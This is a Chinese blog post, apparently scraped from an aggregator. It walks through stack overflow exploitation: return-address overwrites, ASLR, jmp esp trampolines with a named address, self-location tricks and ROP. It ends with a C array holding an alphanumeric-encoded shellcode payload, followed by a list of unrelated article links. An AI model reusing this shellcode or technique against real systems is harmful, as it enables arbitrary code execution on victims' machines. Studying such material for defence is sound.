栈爆了-精要介绍栈溢出相关
来源:互联网 发布:淘宝查看商品类目 编辑:程序博客网 时间:2024/05/23 10:23
由于函数的返回地址在栈中,栈溢出会导致程序流程落入攻击者之手.
具体方法是,覆盖返回地址,等着ret执行我们的命令.
返回地址的门道
返回地址为一个固定的地址通往攻击者溢出的数据中这个愿望总是美好的。
小黑:攻击者开始任意执行自己的代码了。
安全厂商说:看我变
简称ASLR全称地址空间布局随机化的方案在安全厂商的推动下开始实施了。随机布局内存中的模块位置使得愿意配合保护的模块能够在内存中变换位置。
小黑:既然不能知道自己部署的攻击代码静态的位置,那么需要一个跳板:
寻找系统中的不愿意配合的模块中的跳板指令,常用的如下:
jmp esp /*著名的7ffa4512*/call esp
由于call指令和jmp指令认的是相对地址,一切变得容易起来,但是where am i?
使用:
call offset 0
来将下一条指令的地址压栈来达到定位的效果,该技巧美其名曰:基址重定位
不许在栈上执行啊喂
小黑:你没搞错吗?栈溢出不让用栈?我曰
老黑:淡定,你知道有一件兵器叫ROP吗?
ROP-Return Oriented Programming
通过寻找在其他模块中的一串以ret结尾的指令组,用攻击者在栈上的布置的地址使函数执行像滑块一样拼接起来,栈上从没有执行过却提供了所有需要的参数和连接的关键。
惊呆了~
决战
Talk is cheap,show me the code!!!
char szFromShellCode[] = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0""BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb""CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP""RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK""LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK""2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL""KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh""09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu""TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5""nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3""umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7""3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK""wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p""KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v""0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t""a4ZXVoudWp";
更多细节去欣赏:
栈爆了中的小故事
1 0
- 栈爆了-精要介绍栈溢出相关
- 栈溢出相关
- 堆,栈,内存泄露,内存溢出介绍
- 堆,栈,内存泄露,内存溢出介绍
- 堆,栈,内存泄露,内存溢出介绍
- 堆,栈,内存泄露,内存溢出介绍
- JNDI精要介绍
- JNDI精要介绍
- 堆溢出,栈溢出
- 堆溢出、栈溢出
- Unity Shader入门精要笔记(五):其他数学相关介绍
- 栈溢出
- 栈溢出
- 栈溢出
- 栈溢出
- 栈溢出
- 栈溢出
- 栈溢出
- 实现Label的鼠标点击响应,以及获取焦点后改变颜色
- 学习正则表达式心得
- 设计模式的六大原则
- 计算器用到的知识
- 正确使用Block避免循环引用(一)
- 栈爆了-精要介绍栈溢出相关
- 【计算机网络】网络协议分析工具Wireshark的使用、用Wireshark观察ARP协议以及ping命令的工作过程分析以太网报文格式
- MySql入门(1)
- 互联网金融与大数据风控相结合的九大维度
- 微软校招笔试题#1092 : Have Lunch Together详解以及源码分析
- 思维导图
- 第一篇博客
- Chapter 2 验证synchronize同步函数时加的锁
- 广度优先搜索 BFS